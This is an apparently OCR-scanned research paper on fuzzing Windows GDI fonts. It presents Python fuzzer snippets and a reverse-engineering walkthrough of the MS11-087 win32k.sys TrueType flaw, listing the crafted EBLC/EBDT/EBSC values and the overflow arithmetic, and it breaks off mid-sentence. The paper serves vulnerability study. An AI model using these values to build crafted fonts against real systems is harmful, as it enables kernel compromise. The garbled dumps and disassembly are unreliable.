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GDI Font Fuzzing in Windows Kernel for Fun

Abstract

There are different types of font available within Windows and two groups of categories exist:
GDI fonts and Device fonts. This paper will cover the GDI TrueType & GDI Bitmap fonts only on
Windows platform. In GDI, one typically to create font is filling in a LOGFONT Structure and
then calling CreateFontindirect which returns a font handle. As expect from the name, a
LOGFONT structure is a logical font, if the user draw some text using that font handle, GDI will
look for a matching physical font to draw the text. If it doesn't find any match font name, it will
use some other font. The resulting outcome is that the font fuzzer is working at the lower level
through physical font API's provided by the GDI itself. For instance, API functions GetFontData,
GetGlyphindices and even ExtTextOut when used with the ETO_GLYPH_INDEX flag. Font
fuzzer in this paper is aim to trigger the font vulnerabilities published in internet, two vulnerability
in Windows Kernel MS11-077 and MS11-087 in handling crafted font will be discussed. The
attack work of MS11-087 will be explained in details in this paper also.

1 Introduction:

Today, hundreds and thousands of font files have been developed in the digital world. Different
categories of font are available within Microsoft Windows; for instance, GDI Fonts, Device Fonts
and more. GDI fonts, which are based in Windows, consist of three types: raster, stroke and
true type.

The outlines of glyphs in TrueType fonts (TTF) [1] are made of straight line segments and
guadratic Bézier curves. The Windows can scale these fonts to any size using the hints inside
the TTF file. Hints are included in TTF files and are used to correct oversights. The raster font,
also called the bitmap font has characters and alphabets of the words that are typed in an
application. The .fon files contain bitmap typed fonts which forms the GUI design of Menus in
Microsoft Windows.

The rest of the paper is organized as follow. In section 2, the MS11-087 vulnerability will be
discussed. The TTF font fuzzer will be addressed in the beginning of this section followed by a
detailed evaluation of the attack works of MS11-087. In section 3, .fon font fuzzer will be
explained. Lastly, all work done will be concluded in section 4.
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2 MS11-087:

2.1 Fuzzing - ttf font:

The TTF font fuzzer is created to fuzz the TTF font into different sizes which enables the
generation of test cases to determine the size of font in triggering the vulnerability. The overall
process of the fuzzer starts with automating the installation of the crafted font in Windows
system. It will then display the font in a different size, uninstall the font type and repeat the
process if no vulnerability is found.

Before using a font with a specified size and display it on a window, the font must have been
installed. Since the crafted TTF font is designed to exploit the MS11-087 [2], the TTF font is not
installed by default by Microsoft Windows during setup. The windll.gdi32.AddFontResourceExA
[3] function is used to automate the installation of the crafted font into ‘C:\Windows\Fonts’ folder.

htr=windll.gdi32.AddFontResourceExA(fileFont, FR_PRIVATE, None)

Next, our fuzzer will need to prepare an environment by registering a window class and creating
a new window to automate the display of the font text. Once the fuzzing environment is ready, a
LOGFONT [4] object is created to define the attributes of a font.

If=win32gui.LOGFONT()

Since the objective of this fuzzer is to fuzz the font into different sizes, a range of font size
needed to be fuzzed has to be defined. The range can start and end at any number and an
increment number can be specified depending on your personal preference. Just like everything
else in the computer, a font must have a name. Thus, the defined name should always go to the
name of the crafted TTF font. A set of properties that describe a font is defined as below:

If.IfHeight=fontsize
If.IfFaceName="Dexter"

If.IfWidth=0

If.IfEscapement=0

If.IfOrientation=0
If.IfWeight=FW_NORMAL
If.Ifltalic=False

If.IfUnderline=False

If.IfStrikeOut=False
If.IfCharSet=DEFAULT_CHARSET
If.IfOutPrecision=OUT_DEFAULT_PRECIS
If.IfClipPrecision=CLIP_DEFAULT_PRECIS
If.IfPitchAndFamily=DEFAULT _PITCH|FF_DONTCARE

Next, the fuzzer will then display the pre-setting font with the predefined attributes. As expected
from the name, a LOGFONT structure is a logical font. However, due to the application that
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needs to work with fonts at a lower level, it means that the target font functions are not specified
and HFONT always maps to the same physical font internally. Both windll.gdi32.ExtTextOutW
[5] and ETO_GLYPH_INDEX [6] are used as physical font APIs.

windll.gdi32.ExtTextOutW(
hdc,
5
5,
ETO_GLYPH_INDEX,
None,
varl,
len(varl),
None)

Assuming no vulnerability has been found at a font with a specified size that has been called,
the windll.gdi32.RemoveFontResourceExW [6] function will be called to remove the fonts in
‘C:\Windows\Fonts’ folder.

windll.gdi32.RemoveFontResourceExW(fileFont, FR_PRIVATE, None)

Another size of font in the range that has been set will be called and the same process will
repeat until a vulnerability is found or the list of font size elements under a loop function has all
been called and no vulnerability is found.

2.2 Attack Work:

TrueType font is a common font format that is used on both Mac OS and Microsoft Windows
operating system. It can be created either in its original form as a new design drawn on paper or
obtained by conversion of other font formats. Whatever the case, a TTF table is designed to
keep the entire glyph data in various table. These data are very important in rendering the data
into font.

In this section, a remarkable kernel font parsing exploitation attack will be explained. Unlike
other vulnerability, a deep understanding of win32K.sys font parsing engine structure is
required. Three tables, Embedded bitmap locators (EBLC), Embedded bitmap data (EBDT ) and
Embedded bitmap scaling information (EBSC ) are involved in embedding bitmaps in OpenType
font [7]. Each function is shown in the table 1:
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Table 1: Tables Related to Bitmap Gpyphs [8]

EBDT

Embedded bitmap data
Stores the glyph bitmap data in a number of different possible formats.

EBLC

Embedded bitmap locators

Identifies the sizes and glyph ranges of the embedded bitmaps and keeps offsets to
glyph bitmap data.

EBSC

Embedded bitmap scaling information
Identifies sizes that will be handled by scaling up or down after shit sizes

Note:

‘Shits’ is an OpenType font that embeds bitmap data into existing TrueType font file. A set of
bitmaps for a face at a given size is called a strike.

2.2.1 Therequired data to trigger the MS11-087 vulnerability:

e ————
+ EBLCDirectoryEntry[1] EEY ppemX ox1 0x0003beal 0x00000001 Dataltem_BEUINtS
Tag EEY ppemY - 0x0003beal 0x00000001 Dataltem_BEUIntS
Chacksum ox Bithepth % 0x0003bea?  Ox00000001  Dataltem_BEUINS
Offset ox fiags L 0x0003bea3 Ox00000001 Dataltem_ BEIntS
Length ox ~ indexSubTableArrayList[2] \ Value Must 0x0003becc 0x00000010 List<indexSubTabl...
version ox - indexSubTableArray[0] 0x0003becc 0x00000008 indexSubTableArray
umSizes = firstGlyphIndex Ox3 Equal to 1 0x0003becc Ox00000002 Dataltem_BEUINt16
u
b Tabih lastGlyphIndex Ox3 0x0003bece Ox00000002 Dataltem_BEUINnt16
. izeTables[5] additionalOffsetTolnd... 0x10 0x0003bedd Ox0000000<4 Dataltem_BEUINt32
| bitmapSizeTable[0] indexSubTable 0x0003bedc  OxDD0D00DC  indexSubTable3
» bitmapSizeTable[1] - indexSubTableArray[1] 0x0003bed4  0x00000008  indexSubTableArray
> bitmapSizeTable(2] firstGlyphIndex Ox4 0x0003bed4  Ox00000002  Dataltem_BEUINt16
»  bitmapSizeTable[3] lastGlyphIndex 0 0x0003beds 0xD0000002 Dataltem_BEUINt16
»  bitmapSizeTable[4] additionalOffsetTolnd. . . M0x 1C imageFormat=8 0x0003bedd  Ox00000004  Dataltem_BEUINt32
- bitmapSizeTable[5] ~ indexSubTable 0x0003beeS  OX0000000c  indexSubTable3
indexSubTableArrayOffset Ox ~ head 0x0003bees 0x00000008 indexSubHeader
indexTablesSize 0x: indexFormat ox3 0x0003beed  Ox00000002 Dataltem_BEUINt16
numberOfindexSubTables 0x imageFormat 0x8 0x0003beea  Ox00000002  Dataltem_BEUINt16
losblak imageDataOff... 0x1C 0x0003beec 0x0000000 Dataltem_BEUINt32
- -«  nffestarravi?] NN Thef DreDONNNNNS lict<Dataltem RF
. I-Value Equal
5 ~ EEDTDirectoryEntry[0) 0xD000000C  0x00000010  EEDTDirectoryEntry
Tag 00000000 OxD0000004  Dataltem_ASCIISE...
oy = Chedksum 0x00000010  0x00000004  Dataltem_BEUInt32
= el Offset 0xD0000014  0x00000004  Dataltem_BEUInt32
_mb‘mpﬂ_ Tl Length 0x00000018  0x00000D04  Dataltem_BEUInt32
fiags oxt version 0xD0030d54  0J00000004  Dataltem BEUInt32
+ indexSubTableArrayList[2] ~ bitmapData[12] Oc0003bd58  Ox00000024  List<DataStructure>
- EBSCDirectoryEntry(2] EBSC I ~ EbdtFormat[11] 0x0003bd70  0x0000000c  EbdtFormatd
Tag EBSC IS | ox0003bd70 00000005 smallGlyphMetrics
Chedksum 0x1E200504 height o1 0x0003bd70  0x00000001  Dataltem_BEUIntS
Offset Ox3BEF4 width OxFF 0x0003bd71  0x00000001  Dataltem_BEUInt8
Length 0x94 BearingX 0x0 0x0003bd72  Ox00000001  Dataltem_BEINtS
version 0x20000 Bearing¥ 0x0 Difference= 03973 0x00000001  Dataltem BEIntS
numsSizes 0x5 Advance o0 ox1cC J003bd74  0x00000001  Dataltem_BEUINt3
| B Scala bl ] pad ool %% pdoomd7s 000000001  Dataltem BeInts
. JeTabl
b‘”“:’?"’“"b Fontsize=4 rumCompanents ox1 0x0003bd76  0x00000002  Dataltem_BEUINt1S
S| ot - componentarray[1] 0x0003bd78  0x00000004  List<ebdtCompon...
v vert
— ous ~ ebdtComponent{o] 0xD003bd78  0x000D0004  ebdtComponent
» o giyphCode 03 0x000%d78  0x00000002 Dataltem BEUInt1S
substitutePpemx oxl xOffset 040 0xD003bd7a  0x00000001  Dataltem BEInts
> ettuteppemy ol yOffet ox52 0x0003bd7>  0x00000001  Dataltem BEIntS
" SONCLL) W -

Figure 1:The Required Data in Triggering MS11-087 Vulnerability
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Various values from the EBDT, EBLC and EBSC tables are required to trigger the vulnerability
of the TTF font parsing engine in win32k.sys. These three tables are not working independently
but interact between each other. In this paper, only the required values in triggering the
vulnerability will be discussed.

Four values from the EBSC table which includes ppemX, ppemY, substitutePpemX and
substitutePpemY are needed to be examined and collected. These values are defined under
every strike of bitmapScaleTable. The selecting strike option is dependent on the size of font
after scaling. Both ppemX and ppemY are created and compared with the size of font after
scaling. Based on our fuzzing results, font size of four will cause the vulnerability to happen.
Thus, the option of bitmapScaleTable’s strike should go to bitmapScaleTable[0] as both ppemX
and ppemY are set to four.

The values of substitutePpemX and substitutePpemY describe the size of strike that exists as a
shit in ‘EBLC’ table. A total of six strikes of bitmapSizeTables in an array are designed under
EBLC table with different values of ppemX and ppemY. However, the bitmapSizeTable[5] is
selected by the crafted font as the option to carry out the exploitation. The selection is due to the
values of substitutePpemX and substitutePpemY, where both values are equal to the values of
ppemX and ppemY of EBLC.bitmapSizeTable[5]. The crafted TTF font was originally designed
as monochrome bitmaps; thus they should have the values colorRef=0 and bitDepth=1 too. The
bitmapSizeTable[0] contains two array of indexSubTableArray elements. According to the
document released by Microsoft, each element describes a glyph code range and an offset to
the indexSubTable for that range and this allows a strike to contain multiple glyph code ranges
and to be represented in multiple index formats if desirable. The values of imageFormat and
additionalOffsetTolndexSubTable for each strike are now found. The imageFormat determines
the format of “EBDT” image data and the additionalOffsetTolndexSubTable is used to calculate
the offset of the indexSubTable in the “EBLC”. During the reverse engineering process, we learn
that both indexSubTableArray[0] and indexSubTableArray[1] are used to contain multiple glyph
code ranges. However, the indexSubTableArray[1] was calling the vulnerable value and caused
the wvulnerability happen. Two required values from indexSubTableArray[l] are
additionalOffsetTolndexSubTable = 0x1C and imageFormat = 0x8.

The data retrieved from both EBSC and EBLC tables will determine the values that should be
selected from the EBDT table. The EBDT table is initialized with a header of version number.
We learn that a formula has been designed to calculate the offset of EbdtFormat.

Offset of EbdtFormat = offset of EBDT version + additionalOffsetTolndexSubTable
= 0x0003bd54 + 0x1C

= 0x0003bd70
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b003BD40 00 01 01 02 00 03 01 03 01 04 02 63 72 01 3A& 01 version 0520000 0x0003bd54  0x00000004  Datalte...
noo3BDso 29 00 0o oo o 02 00 OO0 01 00 00 00 80 01 FF i -
hnossnsn 00 0o oo 0o 0o 01 0O 03 48 OR 01 D1 DO 00 00 80 ~ bitmapData[12] 0x0003pd58  0x00000024  List<Dat...
boossp7o  RATIFF 00 00 00 00 00 01 00 03 40 52 00 02 00 00 + EbdtFormat1[a] 0x0003bdS8  0x00000005  EbdtFor..,
boo3mpso 00 00 00 06 00 00 01 23 00 00 00 28 00 00 00 02 + EbdtFormata[1] GoTE R i | EriEee
boo3Epe0 00 00 00 00 00 00 0D 0D 00 00 00 00 00 00 00 00
boo3EDA0 00 00 00 00 00 00 0D 0D 00 00 00 00 00 03 00 04 + EbdtFormat1[2] 0x003pdS8  0x00000005  EbdtFor...
000 3BDBO 04 04 08 01 00 00 01 28 00 00 00 28 00 00 00 02 » EbdtFormats[3] 0x0003bd5e 0x0000000c EbdtFor...
000 3BDCO Q0 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00
000 3BDDO Q0 00 00 00 00 00 00 00 00 OO0 0O 00 00 03 00 04 + Ebdtformati[4] Dx00036d53 000000005 Ebdifor..
boossDED 05 05 08 01 00 00 01 28 00 00 00 28 00 00 00 02 + EbdtFormata[s] 0x00030d5e  0x0000000c  EbdtFor..
boo3sDFo 00 00 00 00 00 00 0D 0D 00 00 00 00 00 00 00 00 } EbdtFormatilé] 0x003bdS3  0x00000005  EbdtFor...
boo3E00 00 00 00 00 00 00 0D 0D 00 00 00 00 00 03 00 04
b0038El10 06 06 08 01 00 00 01 28 00 00 00 28 00 00 00 02 | edtmm o] CribEids  GECITHEE Bl
0003BE20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + EbdtFarmat1[s] 0x0003bd58  0x00000008  EbdtFor...
hoo38E30 00 00 00 00 00 DO 0O 0O 00 DO 00 00 00 03 00 04 + EbdiFormat3[9] 0x0003bdSe  0x0000000c  EbdiFor...
000 3BE40 Q7 07 08 01 00 00 01 28 00 00 00 28 00 00 00 02
b003EES0 00 00 00 0D 00 00 0D DO 0O 0O DO 00 00 00 00 00 + | EbdtFormat1[10] 0x0003hdSa  |0x00000006 | EbdtFor...
boo3BE60 00 00 00 00 00 00 00 0D 00 00 00 00 00 03 00 04 - EbdiFormat3[11] 0x0003bd70  0x0000000c  EbdtFor...
boo3sE70 02 02 08 01 00 00 01 50 00 00 00 28 00 00 00 02 - |smalMetrics 000370 0x00000005  smallGlyp,
boo3EEE0 00 00 00 00 00 00 0D 0D 00 00 00 00 00 00 00 00
boossEso 00 00 00 00 0D 00 DO 0D 0O DO 0O 00 DO O3 00 04 height Dx1 |
000 3BERD 01 01 01 01 00 03 00 03 00 00 00 10 00 04 00 04 width OxFF 0x0003bd71 0x00000001 Datalte...
000 3BEBO Q0 00 00 1C 00 03 00 01 00 00 00 04 00 00 00 08 BearingX 0x0 0x0003bd72 0x00000001 Datalte...
000 3BECO 00 03 00 08 00 00 00 OA 00 00 00 OC 00 03 00 03
boossEDo 00 00 00 10 00 04 00 04 00 00 00 I1C 00 03 00 01 Bearing¥ 0x0 0x0003bd73 | 0x00000001  Datalte...
boo3EED 00 00 00 16 00 00 0D 06 00 03 00 08 00 00 00 1C Advance 0x0 0x0003bd74  0x00000001  Datalte...
boo3EF0 00 00 00 OC 00 02 00 0D 00 00 00 05 00 00 00 00

o 0x0 0x0003bd75 0x00000001 Datalte...
hoossFoo 00 00 00 00 0D 00 DO 0D 0O DO 0O 00 DO 00 00 00 pa & - * =
0003BF10 00 00 00 00 04 04 01 01 00 00 00 00 00 00 00 00 numComponents Ox1 0x0003bd76  0x00000002  Datalte...
hoo3sF20 00 00 00 00 00 00 0O 0O 00 DO 00 00 00 00 00 00 +  componentArray[1] 0x0003bd78  0x00000004  List<ebd...

Figure 2: Offset of EbdtFormat

The results from the calculation shows that the EbdtFormat8[11] strike is selected due to the
offset of 0x0003bd70. Values that are needed to be collected includes height = Ox1 and width =
OxFF under the table of smallMetrics; and xOffset = 0x40 and yOffset = 0x52 under
ebdtComponent[0].

During the analysis process, we learned that the only reason to trigger the MS11-087
vulnerability is due to the specially crafted xOffset and yOffset values. The specially crafted
values will cause the total byte of scaling bitmap data overflow to the next function and overwrite
the integer (one byte) that should not be. Table 2 shows the summary of the required data in
order to trigger the vulnerability.

Table 2: Summary of the Required Data

Name Value Description

EBSC.bitmapScaleTable[0].ppemX 0x004 | Target horizontal pixels per Em

EBSC.bitmapScaleTable[0].ppemY 0x004 | Target vertical pixels per Em

EBLC.bitmapSizeTable[5].ppemX 0x001 | Horizontal pixels per Em

EBLC.bitmapSizeTable[5].ppemY 0x001 | Vertical pixels per Em

EBDT.bitmapData.EbdtFormat8[11]. 0x001 | Number of rows of data
smallMetrics.height

EBDT.bitmapData.EbdtFormat8[11]. OxOff Number of columns of data
smallMetrics.width

EBDT.bitmapData.EbdtFormat8[11]. 0x040 | Position of component left
ebdtComponent[0].xOffset

EBDT.bitmapData.EbdtFormat8[11]. 0x052 | Position of component top
ebdtComponent[0].yOffset
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Figure 3 shows two basic block codes that were found during the reverse engineering process.
The analysis shows that an instruction will be called to locate the offset of height under EBDT
table and retrieve the values of height and width.

kd: p
winizk|sfac_GetShitletrics+0x55:
"I 8248bf7a Bbde04 nov sax, dword ptr [esi+d]
BF92BF73 -85 tnar0 N
BF92BF73 loc_BF92BF73: BF92BFA3
BFO2BF73 o T BF92BFA3 1log BEOGBHres
BF92BF7 2 add kd> EBF92BFA. ecx, byte ptr [eax
BF92BF7A mavy " o winidzk!sfac_GetSbitMetrics+0x7e: BF92B#fio edx, [ebp+arg 8
BF92BF7D push Bdx Ej:sl;ffﬁ 0£b608 movzx  ecx.byte ptr [eax] |
i BF92)
BF92BF7E mov edx, [esi] wind2k|sfac_GetShitMetrics+0x8l: /B‘F”BF ]
BF92BFE0 push ecx 8248bfag BbES10 nov edx, dword ptr [ebp+10hk]
BF92BF81 push edx kd> recx BIF®. i
BF92BF82 call eax ecx=00000001 BEFZEFB6 cnmp di, 3
BFO2BF8Y4 add esp, OCh 92BFBA jnz short loc_BF92C819
BF92BF87 test Pax, eax d
- s D
BF92BF89 jnz Short loc BF92BFA3 win32k|sfac_GetShitMetrics+Dz87:
B248bfac 0£DE4301 movzx  ecx,byte ptr [saxt+l]
kd>r dd sax+l 11
0092bd?1 000000fE
0003BCFO 00 65 00 6D 00 61 00 72 00 &B 00 20 00 6F 00 &6 « || Name Value Offset Size Type

0003BDOO 00 20 00 53 00 63 00 6F 00 77 00 74 00 69 00 &D

0003BD10 00 65 D0 20 00 49 00 6E 00 63 00 2E 00 02 00 00 > GEIFErEiE] EEEks  GEEETe Gl
0003BD20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + EbdtFormat1[10] 0x0003bd6a  0x00000006  EbdtFormatl
00038030 00 00 00 00 00 DO 0O 00 00 00 00 0O 00 0G 00 00 + EbdtFormata[i1] 0x0003bd70 00000000 EbdtFormats
00038040 00 01 01 02 00 D3 01 03 01 04 02 63 72 01 3A 01

0003EDS0 29 0p 00 00 00 0z 0o oo TRCEERTRCIRICITRES ~ smalMetrics 0xD003bd70  0x00000005  smallGlyphMetrics
0003BD60 00 0D 00 00 00 D1 0D 03 48 OA D1 01 00 00 00 80 height ox1 0x0003bd70 000000001  Dataltem_BEUINtS
00038070 01 FF 00 00 00 00 00 01 00 03 40 52 00 02 00 00 width G 0x0003bd71  0x00000001  Dataltem BEUINtS
0003BD30 00 00 00 06 00 DO 01 23 00 00 00 28 00 00 00 02 —

0003BD30 00 00 00 00 00 00 00 Q0 00 00 00 0O 00 00 00 00 BearingX ) 0x0003bd72  0x00000001  Dataltem BEINt3
0003BDA0 00 0D 00 00 00 DO 0D 0O 00 00 DO 0O 00 03 00 04 BearingY 0x0 0x0003bd73  0x000D0001  Dataltem BEInt8
0003BDBO 04 04 08 01 00 00 01 28 00 00 00 23 00 00 00 02 Advance 0x0 0x0003bd74  0x00000001  Dataltem_BEUInt3

0003BDCO 00 00 00 00 00 00 00 00 00 00 00 00 OO0 OO 00 0O

Figure 3: Value of Width and Height from EBDT Table

As explained earlier, the TTF font embeds bitmaps in OpenType fonts and the scaling process
is very dependent on the size of fonts. According to our analysis, shit GetMetrics and
sfac_GetShitBitmap functions are designed to retrieve data from font table and calculate buffer
size of the font. The following formula shows the font scaling process in rows and columns. Both
are named as usScaleWidth and usScaleHeight.

usScaleWidth = (EBLC.ppemX + (( EBSC.ppemx *2 ) * width)) / (2 * EBLC.ppemX)
= (0x0001 + ((0x0004 * 2) * 0x00ff)) / (2 * 0x0001)
= (0x0001 + (0Ox0008 * 0x00ff)) / (0x0002)

= 0x03FC
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(= =

BF22A4AE mowzx
BF92A4BZ mouzx
BF22A4B6 mowzx
BF22A4B9 add
BF22A4BBE imul
BF?2A4BE lea
BF22A4C1 add
BF22A4C3 xor
BF92AACS divu
BFQ2ALCT mowzx
BF22A4CA mow
BF22A4CD mow

eax,
edx,
ecx,
eax,
eax,
ecx,
eax,
edx,
ecx

edx,

[ebp+uar_14],

ecx,
T

word ptr [esi+1Eh]
word ptr [esi+22h]
cx

eax

ecx

[edx+edx]

edx

edx

ax
edx
edx

ld:> p
win32klsbit_GetHetrics+0=xdie:
SfcfBadbb Ofafcl imul
ld: reax

eax=00000008

ld: rec=

ecx=000000ff

Ld> p
win22kl=bit_GetHetric=s+0xE1:
B8fcfBadbe 8d0c12 lea
ld> p
win32kl=hit_GetHetrics+0=x54:
B8fcladcl 03c2 add
kdr reax

sax=000007f8

kdr red=

edx=00000001

kdr p
win3Zkl=bit_GetHetrics+0=x56:
8fcladcd 33d2 HOT
kdr reax

=ax=000007f9

kd: p

win3dZk!l=sbit_ GetMetrics+0x58:
SfcBadct £7£1 diw
kd» recx

ecx=00000002

kd: p

win3dZk!l=sbit_ GetMetrics+0xba:
8fc8adc? 0£fb7d0
kdr reax
2ax=000003fc

novzxE

SaH ., 2CH

[Slu o

=ax . edx

edx. edx

EaH.eCHE

edx. ax

[edz+ed=]

usScaleHeight

Figure 4: The Formula of usScaleWidth

= (EBLC.ppemY + ((EBSC.ppemy *2 ) * height)) / (2 * EBLC.ppemY)

0x0004

(00001 + ((0x0004 * 2) * 0x0001)) / (2 * 0x0001)

(0x0001 + (0x0008 * 0x0001)) / (0x0002)

[~ =]

BF22A4F6 mouvzx
BF22A4FA mouzx
BF922A4FE mouvzx
BF22Aa581 add
BF22A583 imul
BF22A5 086 add
BF22A5 08 xor
BF92a50Aa add
BF92A5AC diwv
BF92A58E mouvzx
BF22A511 mouw
BF22A514 mou

ecx
edx

» word ptr [esi+Z0Oh]
- word ptr [esi+ZA4h]
. bx

. Beax

. edx

. BCX

» edx

. BCX

. ax

[ebp+var_2C], edx

., edx

ebx

win32k!sbit_GetMetrics+0=x89
BfcBadfo DEBV4620 MOVER
kd: p
win3dZ2k!sbit_GetMetrics+0=x8d
BicBadia D0fb74=24 MOVIE
kd: p
winZ22klsbit_GetHMetrics+0x91:
BicBadfe 0fB743 MOVIE
kd> reax

eax=00000004

kdr recz

ecx=00000001

Lkd> rbx

bx=1

kd: p
win3Zk!=sbit_GCetHMetric=+0=x94:
8fcBab0l 03c0 add
kd: p
winiZk!=sbit_GetHMetric=+0x96:
8f=8a503 Ofafc2 imul
kd> reax

=ax=00000008

kd: red=x

ed=xz=00000001

ld >
win3Zk!sbit_GetMetrics+0=x99
2fcBatle 032cl add
kdr reax

eax=0000000%

kd> rec:

=cx=00000001

kd: p
win32k!=sbit_GCetHMetric=+0x9b:
8icBab0E 2342 HOT
kd: p
winiZk!=sbit_GetHMetric=+0x9d:

8f=8a50a 03=9 add
kd: p
win3Zk!=sbit_GetHetric=+0x9f :
GfcfaS0c EFEL diw
kd: p

win3Zk!sbit_GetMetrics+0xal
8icB8aS0e 0fB740 MOVIE
kd> reax

eax=00000004

=ax.

=

edx,

=aux.

=a,

sax,

edx,

=cx,

=ax.

edx,

word ptr [esi+20h]

word ptr [e=si+24h]

bx

=ax

=d=

El=3-4

=dx

=cx

=cx

ax

Figure 5: The Formula of usScaleHeight
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In order to calculate the number of bytes for to scale the bitmap data, the program needs to

calculate the scale number of bytes per row:

usScaleRowBytes = ((usScaledWidth + 31) >> 3) & OXFFFC
= ((0x03FC + 31) >>3) & OxFFFC
= 0x0080
BF22A646 add ecx, 1Fh kd>
BF92A649 sar ecx, 3 1o B .
* wind2k!sbhit_GetHetrics+0x1d5:
BF9ZAGAC and ecx, BFFFCh 8icBat42 Dfafdded imul  ecx.dvord ptr [sbp-18h]
BF22A652 mov [ebp+var_14], ecx kd: dd ebp-18h 11
BF92A655 mow [esi+3Eh], cx 934b33c8 00000001
BF22A659 movzx ec®, word ptr [esi+2Eh] kd: p
BF92A65D imul edx, ecx win3d2lklshit GetHetrics+0x1d9:
BF92A668 mov [ebpruar 28], edx E§083646 Bacllf add ecx. 1Fh
BFO2A663 movzx  edx, word ptr [ebptuar_34] e nonDafe
BF92a667 imul edx, ecx kd> p
BF92A66A movzx  ecx, word ptr [ebp+var_2C] win32klshit_GetWetrics+0mlde:
BF22A66E mov [ebp+var_34], edx 8fcBabd? c1£903 =aT ecH, 3
BF92A671 movzx  edx, word ptr [ebp+var_14] kd>3gkl bit Getl ) Dulds
BF92A675 imul ec®, edx win Isbit_GetHetrics+0x
BFO2A678 mou edx, [ebp+var_34] E§08a64c 8lelfcffo0no and ecx. OFFFCh
- » recE
BF92AG7B cude ecw=00000083
BF92A67C shl eax, 6 kds p
BF2Z2A67F mow dword ptr [esi+18h], @ wind2k!shit_GetHetrics+0xleh:
BF92A686 mou [ebp+var_14], edx BfcBabb2 E9%4dec nov dword ptr [ebp-l4h].ecz
BF92A689 cmp edx, ecx kd> recx
BF92A68B inb short loc BF92A690 ecx=00000080

Figure 6: The Formula of usScaleRowBytes

The following formula shows the original scale bytes required if the width of the bitmap is set to

OxO0O0ff.

usOriginalRowBytes = ((width + 31) >> 3) & OxFFFC

0x0020

((Ox00ff + 31) >>3) & OXFFFC

BF92A627
BF92A62A
BF92A62D
BF92A633
BF92A636
BF22A63A
BF22A6G3E
BF22A642
BF22AG46
BF22AG49
BF92A64C
BF92A652
BF92A655
BF92A659
BF92A65D
BF92A660
BF22A663
BF22A6GG7
BF22AG6A
BF22AGGE
BF22A671
BF92A675
BF92A678
BF92A678
BF92A67C

add
sar
and
mou
mouzx
mov
movzx
imul
add
sar
and
mou
mou
mouzx
imul
mou
movzx
imul
movzx
mowv
movzx
imul
mou
cude
shl

ecx, 1Fh

ecx, 3

ecx, BFFFCh

[ebp+var_34], ecx

edx, word ptr [ebp+uar_38]
[esi+38h], cX

ecx, word ptr [ebp+var_14]
ecx, [ebp+var_18]

ecx, 1Fh

ecx, 3

ecx, BFFFCh

[ebptvar_14], ecx
[esi+3Eh], cx

ecx, word ptr [esi+2Eh]
edx, ecx

[ebp+var_28], edx

edx, word ptr [ebp+var_34]
edx, ecx

ecx, word ptr [ebp+var_2C]
[ebp+var_34], edx

edx, word ptr [ebp+var_14]
ecx, edx

edx, [ebp+uvar_34]

eax. 6

kd: p

win3Z2kl=bit_GetMetrics+0x19d:

BfcBacla 83cllf add
kdr recz

ecx=000000££

kd: p

windzZk!sbit_GetMetrics+0xlal:

8fcBac0d 1903 =ar
kdy rec=

ecx=0000011e

kd: p

windZklsbit_GetMetrics+0xlald:

8fcBakll 81lelfcff0000 and
kd: recx

ecx=00000023

kd: p

windZklsbit_GetMetrics+0xla9:

BfcBacle 894ddo mov
kd: recx
=cx=00000020

ecx, 1Fh

ecx, 3

ecx, OFFFCh

dword ptr [ebp—-30h].ecx

Figure 7: The Formula of usOriginalRowBytes
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Thus, bytes of scaling bitmap data can be obtained as below:
ulWorkmemSize = ScaleHeight * usScaleRowBytes

0x0004 * 0x0080

0x0200

10

However, due to the pre-set of the yOffset position at 0x0052, the required bytes of scaling

bitmap data is much higher than ulWorkmemsSize.
ulBitmapoffset = yOffset * usOriginalRowBytes
= 0x0052 * 0x0020

= 0x0A40

kd> redi
=di=00000040

BF2CA7L
BF92CA7Y4 loc_BF92CA74: kd>
BF92CA74 mov edx, [ebp+arg 34] win3d2k!sfac_GetSbitBitmap+i=zte
BF92CAZ7 =or ecx, ecx - Sicdoalc 0£L74530 movzx  eax.word ptr [sbp+30h]
BF92CA79 push  ebx kd> dd sbptdil 11
88af92d0 00000020
eh. £a — led>
BF92CAYC mouzx  eax, [ebp+arg 28] wind2k!sfac_GetShitDitnap+0x62
BF92CA88 mou [edx], cx 8fcdocall 66890 word ptr [ed=].cx
BF92CAB3 mouzx ecx, word ptr [ebp+arg_24] kd>
BF92CABT mov edx, [ebp+arg_2C] wind2k!sfac_GetShitBitmap+0x6s
BF92CASA imul eCx. Bax - 8fcdocalld 0fb74d2c MOVEZHE ecx,word ptr [ebp+2Ch]
— T e — kdy dd ebp+2Ch 11
DDA 88af92cc 00000052
BF92CA98 add ecx, [ebp+arg 38] | kdr o
1 wind2k!lsfac_GetSbitBitmap+0x69
BF92CA%94 push edi 8fcdcad? 8bEE34 mov edx.dvord ptr [sbp+34h]
BF92CA95 mouzx edi, ax kd> dd ebp+34h 11
BFO2CA98 imul  eax, edx Egif;m“ nooooooL
BF9ZCASB @nuzx es?, ﬂx_ win3d2klsfac GetShitBitmap+izbc
BF9ZCAIE imul edi, esi 8f 2ccafa Dfafcs imul BCH, BaH
BF92CAA1 and eax, 7 kd> recsz
BF22CAAY mou [ebp+arg_38], eax ecx=00000052
£a Lehniuai- il kd> reaxz
I BF92CAAB sar edi, 3 | | _EFUUUUUUZU
o
ed ] wind2k!sfac_GetShitBitmap+0ux6f
2 X 8f 2coafd 8b4528 o sax dword ptr [sbp+28h]
kd» dd sbp+28h 11
1 9 (=] 0onooo4n
BF22CABE cmp eax, 8 ; switch 9 cases D
BF92CABB ja loc_BF92CCE3 ; default indlklsfac_GetSbitBitmap+0x?2
BF92CABB ; jumptable BF92CACB cases 2,3 8§2cca90 034d38 add ecx,dword ptr [ebp+38h]
> recx
cx=00000240
kd> dd sbp+3fh 11
88d8=2d8  fed3lrBd
T
win3?kl=fac_GetShbitBitmap+0=75
8f2cca93 56 push esl
kdr recx
ece=f=4200cd
kd: p
win32klsfac_GetShitBitmap+0x89
8fbboaa? 0fh745fc novex  max, word ptr [ebp—4]
kd» dd sbp-4 11
Sc_ 000000071
> p
win3i2klsfac_GetShitBitmnap+0x6d
8fbbocaab c1f£03 sar edi. 3

b

8fbbcaas 48 dec
kd> recx
ece=fed320cd

P
win32kl=sfac GetSbhitBitmap+0x30

=ax

Figure 8: The Formula of ulBitmapoffset
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As the above calculation shows, the handle value of ulBitmapoffset > ulWorkmemSize  will
cause the integer overflow issues. The oversize of ulBitmapoffset will lead to improper memory

